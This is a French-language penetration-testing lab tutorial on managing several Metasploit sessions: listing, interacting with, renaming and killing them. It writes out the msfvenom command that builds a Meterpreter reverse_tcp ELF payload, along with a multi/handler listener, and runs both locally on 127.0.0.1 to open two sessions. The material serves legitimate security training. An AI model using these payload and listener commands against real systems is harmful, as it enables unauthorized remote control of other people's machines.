Gérer plusieurs sessions dans Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans le cadre des tests d'intrusion (penetration testing), il est fréquent d'obtenir un accès simultané à plusieurs systèmes. Le Metasploit Framework offre un moyen puissant de gérer ces connexions, appelées "sessions". Une session est un lien actif vers une cible compromise, qui peut être un shell en ligne de commande ou une session Meterpreter avancée.

La gestion efficace de ces sessions est une compétence essentielle. Elle vous permet d'organiser votre flux de travail, de passer d'une cible à l'autre de manière fluide et de maintenir le contrôle sur vos actifs compromis. Dans ce laboratoire, vous apprendrez les commandes fondamentales pour gérer plusieurs sessions dans Metasploit. Vous pratiquerez l'obtention de sessions, leur listage, l'interaction avec des sessions spécifiques, leur renommage pour une meilleure organisation, et enfin, leur terminaison propre.

Obtenir plusieurs sessions Meterpreter ou shell

Dans cette étape, vous allez configurer un écouteur (listener) dans Metasploit, puis exécuter un payload pour créer deux sessions Meterpreter distinctes. Cela simule l'obtention d'un accès à deux systèmes différents.

Tout d'abord, ouvrez un terminal et démarrez la console Metasploit Framework. L'option -q permet un démarrage silencieux, sans afficher la bannière.

msfconsole -q

Ensuite, nous allons configurer un écouteur générique, appelé multi/handler, pour attendre les connexions entrantes.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan (background job) en utilisant l'option -j. Cela maintient l'invite msfconsole disponible pour d'autres commandes pendant que l'écouteur s'exécute en arrière-plan.

run -j

Vous devriez voir une confirmation que l'écouteur a démarré.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Maintenant, vous devez générer et exécuter le payload qui se connectera à cet écouteur. Ouvrez un nouvel onglet de terminal en cliquant sur l'icône + dans la fenêtre du terminal.

Dans ce nouveau terminal, utilisez msfvenom pour créer un payload. Cette commande génère un fichier exécutable ELF qui, une fois exécuté, se connectera à notre écouteur.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Rendez le fichier payload généré exécutable :

chmod +x ~/project/payload.elf

Exécutez maintenant le payload deux fois pour créer deux sessions. Nous les exécutons en tant que processus d'arrière-plan (&) afin que vous puissiez relancer la commande immédiatement.

./payload.elf &
./payload.elf &

Revenez à votre première fenêtre de terminal avec msfconsole. Vous verrez des messages indiquant que deux sessions Meterpreter ont été ouvertes.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

Vous avez maintenant établi avec succès deux sessions actives.

Lister toutes les sessions actives avec la commande sessions

Dans cette étape, vous apprendrez comment visualiser toutes les sessions actives que vous avez établies. Avec plusieurs sessions ouvertes, vous avez besoin d'un moyen de les lister pour voir à quoi vous êtes connecté.

La commande sessions est utilisée à cette fin. Dans votre terminal msfconsole, tapez simplement sessions pour obtenir une liste de toutes les sessions actives. L'option -l est un alias pour "list" et fait la même chose.

sessions

La sortie sera un tableau contenant des informations sur chaque session :

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Ce tableau fournit un aperçu clair :

  • Id : Un numéro unique pour chaque session, utilisé pour interagir avec elle.
  • Name : Un nom personnalisé pour la session (actuellement vide).
  • Type : Le type de session (par exemple, meterpreter, shell).
  • Information : Des détails sur le système compromis, comme l'ID utilisateur.
  • Connection : Les adresses IP et les ports source et destination.

Interagir avec une session spécifique en utilisant sessions -i

Dans cette étape, vous apprendrez comment sélectionner et interagir avec une session spécifique de la liste.

Une fois que vous avez identifié la session avec laquelle vous souhaitez travailler, vous pouvez utiliser la commande sessions avec l'option -i (interact) suivie de l'ID de la session.

Interagissons avec la première session (ID 1).

sessions -i 1

Votre invite de commande passera de msf6 > à meterpreter >, indiquant que vous êtes maintenant dans la session Meterpreter et que vous pouvez exécuter des commandes spécifiques à Meterpreter.

[*] Starting interaction with 1...

meterpreter >

Pour confirmer que vous êtes dans la session, exécutez une commande simple comme sysinfo pour obtenir des informations système de la cible.

sysinfo

Vous verrez une sortie similaire à celle-ci :

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

Une fois que vous avez terminé de travailler dans une session, vous pouvez revenir à l'invite principale msfconsole sans terminer la session. Pour ce faire, utilisez la commande background.

background

Cela mettra la session en arrière-plan et vous ramènera à l'invite msf6 >, vous permettant de gérer d'autres sessions.

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

Renommer une session pour une meilleure organisation en utilisant sessions -n

Dans cette étape, vous apprendrez comment renommer une session. Lors de la gestion de nombreuses sessions, les noms par défaut ne sont pas descriptifs. Renommer les sessions avec des étiquettes significatives (par exemple, "WebServer", "DBServer") les rend beaucoup plus faciles à identifier.

Vous pouvez renommer une session en utilisant la commande sessions avec l'option -n (name). La syntaxe est sessions -n <NouveauNom> <ID>.

Renommons la session 2 en quelque chose de plus descriptif, comme TestHost.

sessions -n TestHost 2

Metasploit confirmera que la session a été renommée.

[*] Session 2's name has been changed to TestHost.

Maintenant, listez à nouveau les sessions pour voir le changement.

sessions

Le tableau de sortie affichera maintenant le nouveau nom dans la colonne "Name" pour la session 2.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Cela rend le suivi de vos cibles beaucoup plus facile.

Terminer une session en utilisant sessions -k

Dans cette étape, vous apprendrez comment terminer une session. Une fois que vous avez terminé votre travail sur un système cible ou si une session n'est plus nécessaire, il est de bonne pratique de la fermer.

Pour terminer, ou "tuer", une session, utilisez la commande sessions avec l'option -k (kill), suivie de l'ID de la session.

Terminons la session 1.

sessions -k 1

Metasploit confirmera qu'il arrête la session.

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

Pour vérifier que la session a été terminée, listez les sessions actives une dernière fois.

sessions

La sortie n'affichera désormais que la session restante, TestHost.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Vous avez réussi à nettoyer la session inutile.

Résumé

Félicitations pour avoir terminé ce laboratoire ! Vous avez acquis les compétences essentielles pour gérer plusieurs sessions au sein du Metasploit Framework.

Dans ce laboratoire, vous avez pratiqué :

  • La création de plusieurs sessions Meterpreter en utilisant un multi/handler et une charge utile (payload).
  • La liste de toutes les sessions actives avec la commande sessions.
  • L'interaction avec une session spécifique en utilisant sessions -i <ID>.
  • Le renommage d'une session pour une meilleure organisation avec sessions -n <Nom> <ID>.
  • La terminaison propre d'une session en utilisant sessions -k <ID>.

La maîtrise de ces commandes est fondamentale pour tout testeur d'intrusion, car elle permet un contrôle efficace et organisé sur plusieurs systèmes compromis.